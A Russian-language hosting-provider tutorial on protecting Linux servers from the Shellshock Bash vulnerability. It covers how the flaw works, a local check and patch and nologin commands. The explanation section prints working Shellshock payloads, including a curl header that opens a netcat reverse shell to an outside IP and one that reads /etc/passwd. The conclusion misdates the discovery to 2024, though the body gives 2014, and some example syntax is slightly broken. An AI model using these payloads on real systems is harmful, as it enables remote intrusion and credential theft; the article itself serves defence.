Давайте дружить в Телеграме: рассказываем про новые фичи, общаемся в комментах, прислушиваемся к вашим идеям Подписаться

Как защитить свой сервер от уязвимости Shellshock Bash

Александр Бархатов
Александр Бархатов
Технический писатель
07 марта 2024 г.
45
5 минут чтения
Средний рейтинг статьи: 5

Как и любое другое программное обеспечение, командная оболочка Bash тоже содержит в себе различные уязвимости. Одной из таких уязвимостей является Bashdoor также известная под другим названием — Shellshock Bash. Впервые данная уязвимость была обнаружена еще в сентябре 2014 года. Ей был присвоен наивысший уровень критичности — 10 баллов по десятибалльной шкале (для CVSS версии 2.0) и 9.8 баллов для CVSS версии 3.0.

Суть уязвимости заключается в следующем: злоумышленник может удаленно выполнять произвольные команды, тем самым получая неограниченный доступ к системе.

Уязвимости Shellshock Bash может быть подвержена практически любая ОС семейства Linux, так как оболочка Bash используется по умолчанию почти во всех современных дистрибутивах Linux.

В данной статье мы рассмотрим всевозможные способы, как защитить свой сервер от уязвимости Shellshock Bash.

Принцип работы уязвимости Shellshock Bash

Как уже было сказано ранее, суть Shellshock Bash заключается в возможности удаленного выполнения произвольных команд на атакуемой системе. Причина возникновения данной уязвимости заключается в том, что Bash завершает обработку команд при импорте функций которые хранятся в переменной окружения среды. Иными словами, угроза заключается в возможности установки переменных окружения внутри интерпретатора Bash, в которых объявляются функции. Сама уязвимость возникает, когда Bash продолжает обрабатывать команды после объявления функции. В результате происходит атака с внедрением вредоносного кода. Рассмотрим уязвимость на конкретном примере:

http-header = Cookie:() { :; }; ping -c 192.168.36.136

В данном примере мы определили HTTP запрос который состоит из функции, заданной при помощи символов () { :; }, а также содержит в себе команду интерпретатора — ping с указанным параметром в виде IP-адреса. Вместо команды ping можно подставить любую другую команду. В примере выше удаленная команда выполняет ping IP-адреса на удаленном хосте после объявления функции.

Также Shellshock Bash можно использовать в CGI скриптах:

curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.36.106 443" 192.168.x.y/CGI-bin/hello.cgi

И в HTTP запросах:

curl --insecure 192.168.36.106 -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

Эксплуатировать Shellshock можно следующими способами:

  • Использование в скриптах Bash.
    Переменные окружения могут быть встроены в скрипты Bash (файлы с расширением .sh). При выполнении скриптов Bash, интерпретатор выполнит значения, которые указаны в переменных окружения. 

  • Использование вредоносной веб-страницы.
    В веб-страницу встраивается переменная окружения. Когда пользователь посещает веб-страницу, переменная окружения будет отправлена на веб-сервер, который выполнит произвольную команду.

  • При отправке писем электронной почты.
    Создается письмо, содержащее переменную окружения с необходимым содержимым. Когда пользователь откроет сообщение, переменная окружения будет отправлена почтовому клиенту, который выполнит произвольную команду.

Уязвимость Shellshock может использоваться в системах, на которых запущены службы или приложения, позволяющие неавторизованным удаленным пользователям использовать переменные среды Bash. К таким приложениям относятся:

  • Веб-серверы, которые поддерживают выполнение CGI скриптов

  • Серверы с установленным OpenSSH и с включенным параметром ForceCommand

  • DHCP-клиенты

Проверяем сервер на возможность использования Shellshock Bash

Для того чтобы проверить уязвима ли ваша версия Bash, в терминале необходимо выполнить следующую команду:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Если в ответ вернулось слово vulnerable, то ваша версия Bash является уязвимой, и вы подвержены Shellshock Bash. Если же в ответ вернулось сообщение this is a test, то ваша версия Bash уже содержит в себе необходимые исправления, и уязвимость Shellshock Bash вам не угрожает.

Далее мы рассмотрим всевозможные способы по устранению и недопущению уязвимости Shellshock Bash.

Методы защиты от Shellshock Bash

Для того чтобы защитить ваш сервер от уязвимости Shellshock Bash, необходимо предпринять следующие шаги:

  1. Обновить версию bash

Самый простой и быстрый способ решения проблемы с Shellshock Bash. Для этого необходимо выполнить одну из следующих команд в зависимости от используемого дистрибутива Linux.

Debian-based

Для дистрибутивов на основе Debian (Ubuntu, Linux Mint, Xubuntu и других) команда будет следующей:

apt update && apt install --only-upgrade bash

RHEL-based

Для дистрибутивов на основе Red Hat (CentOS, Fedora, Red Hat Enterprise Linux и других) команды будут следующими:

При использовании пакетного менеджера YUM:

yum update bash

При использовании пакетного менеджера DNF:

dnf update bash

После того как ваша версия bash была успешно обновлена, необходимо воспроизвести уязвимость еще раз. Подробные действия указаны в предыдущей главе «Проверяем сервер на возможность использования Shellshock Bash».

  1. Запретить пользователям вход на сервер

В системах Linux многие программы создают своих пользователей и запускаются от имени созданных пользователей. Данным пользователям можно выключить возможность входа на сервер. Для этого существуют несколько способов.

При создании пользователя при помощи утилиты useradd (где web — имя создаваемого пользователя):

useradd -s /sbin/nologin web

При создании пользователя при помощи утилиты adduser (где web — имя создаваемого пользователя):

adduser --shell /sbin/nologin web

Для отключения входа для уже существующего пользователя можно воспользоваться утилитой chsh (где web — имя ранее созданного пользователя):

chsh -s /sbin/nologin web

Стоит отметить, что программа chsh присутствует не во всех дистрибутивах Linux.

Для отключения входа для уже существующего пользователя при помощи утилиты usermod (где web — имя ранее созданного пользователя):

usermod web -s /sbin/nologin

Заключение

В данной статье мы подробно рассмотрели уязвимость Shellshock Bash, а также рассмотрели методы защиты. Несмотря на то, что уязвимость Shellshock Bash была обнаружена в 2024 году, различные способы ее эксплуатации по-прежнему существуют. В этом туториале мы описали несколько способов, с помощью которых можно закрыть эту уязвимость.

Зарегистрируйтесь и начните пользоваться
сервисами Timeweb Cloud прямо сейчас

15 лет опыта
Сосредоточьтесь на своей работе: об остальном позаботимся мы
165 000 клиентов
Нам доверяют частные лица и компании, от небольших фирм до корпораций
Поддержка 24/7
100+ специалистов поддержки, готовых помочь в чате, тикете и по телефону